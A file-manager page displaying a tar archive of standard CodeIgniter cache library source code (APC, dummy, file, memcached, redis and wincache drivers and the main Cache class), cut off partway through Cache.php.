File manager - Edit - /home/wwwroot/camplus.hk/master.camplus.hk/public_html/assets/global/scripts/911347/libraries.tar
Back
Cache/drivers/Cache_apc.php 0000775 00000012654 15060054572 0011605 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter APC Caching Class * * @package CodeIgniter * @subpackage Libraries * @category Core * @author EllisLab Dev Team * @link */ class CI_Cache_apc extends CI_Driver { /** * Class constructor * * Only present so that an error message is logged * if APC is not available. * * @return void */ public function __construct() { if ( ! $this->is_supported()) { log_message('error', 'Cache: Failed to initialize APC; extension not loaded/enabled?'); } } // ------------------------------------------------------------------------ /** * Get * * Look for a value in the cache. If it exists, return the data * if not, return FALSE * * @param string * @return mixed value that is stored/FALSE on failure */ public function get($id) { $success = FALSE; $data = apc_fetch($id, $success); if ($success === TRUE) { return is_array($data) ? unserialize($data[0]) : $data; } return FALSE; } // ------------------------------------------------------------------------ /** * Cache Save * * @param string $id Cache ID * @param mixed $data Data to store * @param int $ttl Length of time (in seconds) to cache the data * @param bool $raw Whether to store the raw value * @return bool TRUE on success, FALSE on failure */ public function save($id, $data, $ttl = 60, $raw = FALSE) { $ttl = (int) $ttl; return apc_store( $id, ($raw === TRUE ? $data : array(serialize($data), time(), $ttl)), $ttl ); } // ------------------------------------------------------------------------ /** * Delete from Cache * * @param mixed unique identifier of the item in the cache * @return bool true on success/false on failure */ public function delete($id) { return apc_delete($id); } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return mixed New value on success or FALSE on failure */ public function increment($id, $offset = 1) { return apc_inc($id, $offset); } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return mixed New value on success or FALSE on failure */ public function decrement($id, $offset = 1) { return apc_dec($id, $offset); } // ------------------------------------------------------------------------ /** * Clean the cache * * @return bool false on failure/true on success */ public function clean() { return apc_clear_cache('user'); } // ------------------------------------------------------------------------ /** * Cache Info * * @param string user/filehits * @return mixed array on success, false on failure */ public function cache_info($type = NULL) { return apc_cache_info($type); } // ------------------------------------------------------------------------ /** * Get Cache Metadata * * @param mixed key to get cache metadata on * @return mixed array on success/false on failure */ public function get_metadata($id) { $success = FALSE; $stored = apc_fetch($id, $success); if ($success === FALSE OR count($stored) !== 3) { return FALSE; } list($data, $time, $ttl) = $stored; return array( 'expire' => $time + $ttl, 'mtime' => $time, 'data' => unserialize($data) ); } // ------------------------------------------------------------------------ /** * is_supported() * * Check to see if APC is available on this system, bail if it isn't. * * @return bool */ public function is_supported() { return (extension_loaded('apc') && ini_get('apc.enabled')); } } Cache/drivers/Cache_dummy.php 0000775 00000010361 15060054572 0012166 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Dummy Caching Class * * @package CodeIgniter * @subpackage Libraries * @category Core * @author EllisLab Dev Team * @link */ class CI_Cache_dummy extends CI_Driver { /** * Get * * Since this is the dummy class, it's always going to return FALSE. * * @param string * @return bool FALSE */ public function get($id) { return FALSE; } // ------------------------------------------------------------------------ /** * Cache Save * * @param string Unique Key * @param mixed Data to store * @param int Length of time (in seconds) to cache the data * @param bool Whether to store the raw value * @return bool TRUE, Simulating success */ public function save($id, $data, $ttl = 60, $raw = FALSE) { return TRUE; } // ------------------------------------------------------------------------ /** * Delete from Cache * * @param mixed unique identifier of the item in the cache * @return bool TRUE, simulating success */ public function delete($id) { return TRUE; } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return mixed New value on success or FALSE on failure */ public function increment($id, $offset = 1) { return TRUE; } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return mixed New value on success or FALSE on failure */ public function decrement($id, $offset = 1) { return TRUE; } // ------------------------------------------------------------------------ /** * Clean the cache * * @return bool TRUE, simulating success */ public function clean() { return TRUE; } // ------------------------------------------------------------------------ /** * Cache Info * * @param string user/filehits * @return bool FALSE */ public function cache_info($type = NULL) { return FALSE; } // ------------------------------------------------------------------------ /** * Get Cache Metadata * * @param mixed key to get cache metadata on * @return bool FALSE */ public function get_metadata($id) { return FALSE; } // ------------------------------------------------------------------------ /** * Is this caching driver supported on the system? * Of course this one is. * * @return bool TRUE */ public function is_supported() { return TRUE; } } Cache/drivers/Cache_file.php 0000775 00000015247 15060054572 0011762 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter File Caching Class * * @package CodeIgniter * @subpackage Libraries * @category Core * @author EllisLab Dev Team * @link */ class CI_Cache_file extends CI_Driver { /** * Directory in which to save cache files * * @var string */ protected $_cache_path; /** * Initialize file-based cache * * @return void */ public function __construct() { $CI =& get_instance(); $CI->load->helper('file'); $path = $CI->config->item('cache_path'); $this->_cache_path = ($path === '') ? APPPATH.'cache/' : $path; } // ------------------------------------------------------------------------ /** * Fetch from cache * * @param string $id Cache ID * @return mixed Data on success, FALSE on failure */ public function get($id) { $data = $this->_get($id); return is_array($data) ? $data['data'] : FALSE; } // ------------------------------------------------------------------------ /** * Save into cache * * @param string $id Cache ID * @param mixed $data Data to store * @param int $ttl Time to live in seconds * @param bool $raw Whether to store the raw value (unused) * @return bool TRUE on success, FALSE on failure */ public function save($id, $data, $ttl = 60, $raw = FALSE) { $contents = array( 'time' => time(), 'ttl' => $ttl, 'data' => $data ); if (write_file($this->_cache_path.$id, serialize($contents))) { chmod($this->_cache_path.$id, 0640); return TRUE; } return FALSE; } // ------------------------------------------------------------------------ /** * Delete from Cache * * @param mixed unique identifier of item in cache * @return bool true on success/false on failure */ public function delete($id) { return is_file($this->_cache_path.$id) ? unlink($this->_cache_path.$id) : FALSE; } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return New value on success, FALSE on failure */ public function increment($id, $offset = 1) { $data = $this->_get($id); if ($data === FALSE) { $data = array('data' => 0, 'ttl' => 60); } elseif ( ! is_int($data['data'])) { return FALSE; } $new_value = $data['data'] + $offset; return $this->save($id, $new_value, $data['ttl']) ? $new_value : FALSE; } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return New value on success, FALSE on failure */ public function decrement($id, $offset = 1) { $data = $this->_get($id); if ($data === FALSE) { $data = array('data' => 0, 'ttl' => 60); } elseif ( ! is_int($data['data'])) { return FALSE; } $new_value = $data['data'] - $offset; return $this->save($id, $new_value, $data['ttl']) ? $new_value : FALSE; } // ------------------------------------------------------------------------ /** * Clean the Cache * * @return bool false on failure/true on success */ public function clean() { return delete_files($this->_cache_path, FALSE, TRUE); } // ------------------------------------------------------------------------ /** * Cache Info * * Not supported by file-based caching * * @param string user/filehits * @return mixed FALSE */ public function cache_info($type = NULL) { return get_dir_file_info($this->_cache_path); } // ------------------------------------------------------------------------ /** * Get Cache Metadata * * @param mixed key to get cache metadata on * @return mixed FALSE on failure, array on success. */ public function get_metadata($id) { if ( ! is_file($this->_cache_path.$id)) { return FALSE; } $data = unserialize(file_get_contents($this->_cache_path.$id)); if (is_array($data)) { $mtime = filemtime($this->_cache_path.$id); if ( ! isset($data['ttl'], $data['time'])) { return FALSE; } return array( 'expire' => $data['time'] + $data['ttl'], 'mtime' => $mtime ); } return FALSE; } // ------------------------------------------------------------------------ /** * Is supported * * In the file driver, check to see that the cache directory is indeed writable * * @return bool */ public function is_supported() { return is_really_writable($this->_cache_path); } // ------------------------------------------------------------------------ /** * Get all data * * Internal method to get all the relevant data about a cache item * * @param string $id Cache ID * @return mixed Data array on success or FALSE on failure */ protected function _get($id) { if ( ! is_file($this->_cache_path.$id)) { return FALSE; } $data = unserialize(file_get_contents($this->_cache_path.$id)); if ($data['ttl'] > 0 && time() > $data['time'] + $data['ttl']) { unlink($this->_cache_path.$id); return FALSE; } return $data; } } Cache/drivers/Cache_memcached.php 0000775 00000016413 15060054572 0012745 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Memcached Caching Class * * @package CodeIgniter * @subpackage Libraries * @category Core * @author EllisLab Dev Team * @link */ class CI_Cache_memcached extends CI_Driver { /** * Holds the memcached object * * @var object */ protected $_memcached; /** * Memcached configuration * * @var array */ protected $_config = array( 'default' => array( 'host' => '127.0.0.1', 'port' => 11211, 'weight' => 1 ) ); // ------------------------------------------------------------------------ /** * Class constructor * * Setup Memcache(d) * * @return void */ public function __construct() { // Try to load memcached server info from the config file. $CI =& get_instance(); $defaults = $this->_config['default']; if ($CI->config->load('memcached', TRUE, TRUE)) { $this->_config = $CI->config->config['memcached']; } if (class_exists('Memcached', FALSE)) { $this->_memcached = new Memcached(); } elseif (class_exists('Memcache', FALSE)) { $this->_memcached = new Memcache(); } else { log_message('error', 'Cache: Failed to create Memcache(d) object; extension not loaded?'); return; } foreach ($this->_config as $cache_server) { isset($cache_server['hostname']) OR $cache_server['hostname'] = $defaults['host']; isset($cache_server['port']) OR $cache_server['port'] = $defaults['port']; isset($cache_server['weight']) OR $cache_server['weight'] = $defaults['weight']; if ($this->_memcached instanceof Memcache) { // Third parameter is persistance and defaults to TRUE. $this->_memcached->addServer( $cache_server['hostname'], $cache_server['port'], TRUE, $cache_server['weight'] ); } elseif ($this->_memcached instanceof Memcached) { $this->_memcached->addServer( $cache_server['hostname'], $cache_server['port'], $cache_server['weight'] ); } } } // ------------------------------------------------------------------------ /** * Fetch from cache * * @param string $id Cache ID * @return mixed Data on success, FALSE on failure */ public function get($id) { $data = $this->_memcached->get($id); return is_array($data) ? $data[0] : $data; } // ------------------------------------------------------------------------ /** * Save * * @param string $id Cache ID * @param mixed $data Data being cached * @param int $ttl Time to live * @param bool $raw Whether to store the raw value * @return bool TRUE on success, FALSE on failure */ public function save($id, $data, $ttl = 60, $raw = FALSE) { if ($raw !== TRUE) { $data = array($data, time(), $ttl); } if ($this->_memcached instanceof Memcached) { return $this->_memcached->set($id, $data, $ttl); } elseif ($this->_memcached instanceof Memcache) { return $this->_memcached->set($id, $data, 0, $ttl); } return FALSE; } // ------------------------------------------------------------------------ /** * Delete from Cache * * @param mixed $id key to be deleted. * @return bool true on success, false on failure */ public function delete($id) { return $this->_memcached->delete($id); } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return mixed New value on success or FALSE on failure */ public function increment($id, $offset = 1) { return $this->_memcached->increment($id, $offset); } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return mixed New value on success or FALSE on failure */ public function decrement($id, $offset = 1) { return $this->_memcached->decrement($id, $offset); } // ------------------------------------------------------------------------ /** * Clean the Cache * * @return bool false on failure/true on success */ public function clean() { return $this->_memcached->flush(); } // ------------------------------------------------------------------------ /** * Cache Info * * @return mixed array on success, false on failure */ public function cache_info() { return $this->_memcached->getStats(); } // ------------------------------------------------------------------------ /** * Get Cache Metadata * * @param mixed $id key to get cache metadata on * @return mixed FALSE on failure, array on success. */ public function get_metadata($id) { $stored = $this->_memcached->get($id); if (count($stored) !== 3) { return FALSE; } list($data, $time, $ttl) = $stored; return array( 'expire' => $time + $ttl, 'mtime' => $time, 'data' => $data ); } // ------------------------------------------------------------------------ /** * Is supported * * Returns FALSE if memcached is not supported on the system. * If it is, we setup the memcached object & return TRUE * * @return bool */ public function is_supported() { return (extension_loaded('memcached') OR extension_loaded('memcache')); } // ------------------------------------------------------------------------ /** * Class destructor * * Closes the connection to Memcache(d) if present. * * @return void */ public function __destruct() { if ($this->_memcached instanceof Memcache) { $this->_memcached->close(); } elseif ($this->_memcached instanceof Memcached && method_exists($this->_memcached, 'quit')) { $this->_memcached->quit(); } } } Cache/drivers/Cache_redis.php 0000775 00000017032 15060054572 0012143 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Redis Caching Class * * @package CodeIgniter * @subpackage Libraries * @category Core * @author Anton Lindqvist <anton@qvister.se> * @link */ class CI_Cache_redis extends CI_Driver { /** * Default config * * @static * @var array */ protected static $_default_config = array( 'socket_type' => 'tcp', 'host' => '127.0.0.1', 'password' => NULL, 'port' => 6379, 'timeout' => 0 ); /** * Redis connection * * @var Redis */ protected $_redis; /** * An internal cache for storing keys of serialized values. * * @var array */ protected $_serialized = array(); // ------------------------------------------------------------------------ /** * Class constructor * * Setup Redis * * Loads Redis config file if present. Will halt execution * if a Redis connection can't be established. * * @return void * @see Redis::connect() */ public function __construct() { if ( ! $this->is_supported()) { log_message('error', 'Cache: Failed to create Redis object; extension not loaded?'); return; } $CI =& get_instance(); if ($CI->config->load('redis', TRUE, TRUE)) { $config = array_merge(self::$_default_config, $CI->config->item('redis')); } else { $config = self::$_default_config; } $this->_redis = new Redis(); try { if ($config['socket_type'] === 'unix') { $success = $this->_redis->connect($config['socket']); } else // tcp socket { $success = $this->_redis->connect($config['host'], $config['port'], $config['timeout']); } if ( ! $success) { log_message('error', 'Cache: Redis connection failed. Check your configuration.'); } if (isset($config['password']) && ! $this->_redis->auth($config['password'])) { log_message('error', 'Cache: Redis authentication failed.'); } } catch (RedisException $e) { log_message('error', 'Cache: Redis connection refused ('.$e->getMessage().')'); } // Initialize the index of serialized values. $serialized = $this->_redis->sMembers('_ci_redis_serialized'); empty($serialized) OR $this->_serialized = array_flip($serialized); } // ------------------------------------------------------------------------ /** * Get cache * * @param string $key Cache ID * @return mixed */ public function get($key) { $value = $this->_redis->get($key); if ($value !== FALSE && isset($this->_serialized[$key])) { return unserialize($value); } return $value; } // ------------------------------------------------------------------------ /** * Save cache * * @param string $id Cache ID * @param mixed $data Data to save * @param int $ttl Time to live in seconds * @param bool $raw Whether to store the raw value (unused) * @return bool TRUE on success, FALSE on failure */ public function save($id, $data, $ttl = 60, $raw = FALSE) { if (is_array($data) OR is_object($data)) { if ( ! $this->_redis->sIsMember('_ci_redis_serialized', $id) && ! $this->_redis->sAdd('_ci_redis_serialized', $id)) { return FALSE; } isset($this->_serialized[$id]) OR $this->_serialized[$id] = TRUE; $data = serialize($data); } elseif (isset($this->_serialized[$id])) { $this->_serialized[$id] = NULL; $this->_redis->sRemove('_ci_redis_serialized', $id); } return $this->_redis->set($id, $data, $ttl); } // ------------------------------------------------------------------------ /** * Delete from cache * * @param string $key Cache key * @return bool */ public function delete($key) { if ($this->_redis->delete($key) !== 1) { return FALSE; } if (isset($this->_serialized[$key])) { $this->_serialized[$key] = NULL; $this->_redis->sRemove('_ci_redis_serialized', $key); } return TRUE; } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return mixed New value on success or FALSE on failure */ public function increment($id, $offset = 1) { return $this->_redis->incr($id, $offset); } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return mixed New value on success or FALSE on failure */ public function decrement($id, $offset = 1) { return $this->_redis->decr($id, $offset); } // ------------------------------------------------------------------------ /** * Clean cache * * @return bool * @see Redis::flushDB() */ public function clean() { return $this->_redis->flushDB(); } // ------------------------------------------------------------------------ /** * Get cache driver info * * @param string $type Not supported in Redis. * Only included in order to offer a * consistent cache API. * @return array * @see Redis::info() */ public function cache_info($type = NULL) { return $this->_redis->info(); } // ------------------------------------------------------------------------ /** * Get cache metadata * * @param string $key Cache key * @return array */ public function get_metadata($key) { $value = $this->get($key); if ($value !== FALSE) { return array( 'expire' => time() + $this->_redis->ttl($key), 'data' => $value ); } return FALSE; } // ------------------------------------------------------------------------ /** * Check if Redis driver is supported * * @return bool */ public function is_supported() { return extension_loaded('redis'); } // ------------------------------------------------------------------------ /** * Class destructor * * Closes the connection to Redis if present. * * @return void */ public function __destruct() { if ($this->_redis) { $this->_redis->close(); } } } Cache/drivers/Cache_wincache.php 0000775 00000013301 15060054572 0012611 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Wincache Caching Class * * Read more about Wincache functions here: * http://www.php.net/manual/en/ref.wincache.php * * @package CodeIgniter * @subpackage Libraries * @category Core * @author Mike Murkovic * @link */ class CI_Cache_wincache extends CI_Driver { /** * Class constructor * * Only present so that an error message is logged * if APC is not available. * * @return void */ public function __construct() { if ( ! $this->is_supported()) { log_message('error', 'Cache: Failed to initialize Wincache; extension not loaded/enabled?'); } } // ------------------------------------------------------------------------ /** * Get * * Look for a value in the cache. If it exists, return the data, * if not, return FALSE * * @param string $id Cache Ide * @return mixed Value that is stored/FALSE on failure */ public function get($id) { $success = FALSE; $data = wincache_ucache_get($id, $success); // Success returned by reference from wincache_ucache_get() return ($success) ? $data : FALSE; } // ------------------------------------------------------------------------ /** * Cache Save * * @param string $id Cache ID * @param mixed $data Data to store * @param int $ttl Time to live (in seconds) * @param bool $raw Whether to store the raw value (unused) * @return bool true on success/false on failure */ public function save($id, $data, $ttl = 60, $raw = FALSE) { return wincache_ucache_set($id, $data, $ttl); } // ------------------------------------------------------------------------ /** * Delete from Cache * * @param mixed unique identifier of the item in the cache * @return bool true on success/false on failure */ public function delete($id) { return wincache_ucache_delete($id); } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return mixed New value on success or FALSE on failure */ public function increment($id, $offset = 1) { $success = FALSE; $value = wincache_ucache_inc($id, $offset, $success); return ($success === TRUE) ? $value : FALSE; } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return mixed New value on success or FALSE on failure */ public function decrement($id, $offset = 1) { $success = FALSE; $value = wincache_ucache_dec($id, $offset, $success); return ($success === TRUE) ? $value : FALSE; } // ------------------------------------------------------------------------ /** * Clean the cache * * @return bool false on failure/true on success */ public function clean() { return wincache_ucache_clear(); } // ------------------------------------------------------------------------ /** * Cache Info * * @return mixed array on success, false on failure */ public function cache_info() { return wincache_ucache_info(TRUE); } // ------------------------------------------------------------------------ /** * Get Cache Metadata * * @param mixed key to get cache metadata on * @return mixed array on success/false on failure */ public function get_metadata($id) { if ($stored = wincache_ucache_info(FALSE, $id)) { $age = $stored['ucache_entries'][1]['age_seconds']; $ttl = $stored['ucache_entries'][1]['ttl_seconds']; $hitcount = $stored['ucache_entries'][1]['hitcount']; return array( 'expire' => $ttl - $age, 'hitcount' => $hitcount, 'age' => $age, 'ttl' => $ttl ); } return FALSE; } // ------------------------------------------------------------------------ /** * is_supported() * * Check to see if WinCache is available on this system, bail if it isn't. * * @return bool */ public function is_supported() { return (extension_loaded('wincache') && ini_get('wincache.ucenabled')); } } Cache/drivers/index.html 0000775 00000000203 15060054572 0011226 0 ustar 00 <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> Cache/Cache.php 0000775 00000015201 15060054572 0007273 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Caching Class * * @package CodeIgniter * @subpackage Libraries * @category Core * @author EllisLab Dev Team * @link */ class CI_Cache extends CI_Driver_Library { /** * Valid cache drivers * * @var array */ protected $valid_drivers = array( 'apc', 'dummy', 'file', 'memcached', 'redis', 'wincache' ); /** * Path of cache files (if file-based cache) * * @var string */ protected $_cache_path = NULL; /** * Reference to the driver * * @var mixed */ protected $_adapter = 'dummy'; /** * Fallback driver * * @var string */ protected $_backup_driver = 'dummy'; /** * Cache key prefix * * @var string */ public $key_prefix = ''; /** * Constructor * * Initialize class properties based on the configuration array. * * @param array $config = array() * @return void */ public function __construct($config = array()) { isset($config['adapter']) && $this->_adapter = $config['adapter']; isset($config['backup']) && $this->_backup_driver = $config['backup']; isset($config['key_prefix']) && $this->key_prefix = $config['key_prefix']; // If the specified adapter isn't available, check the 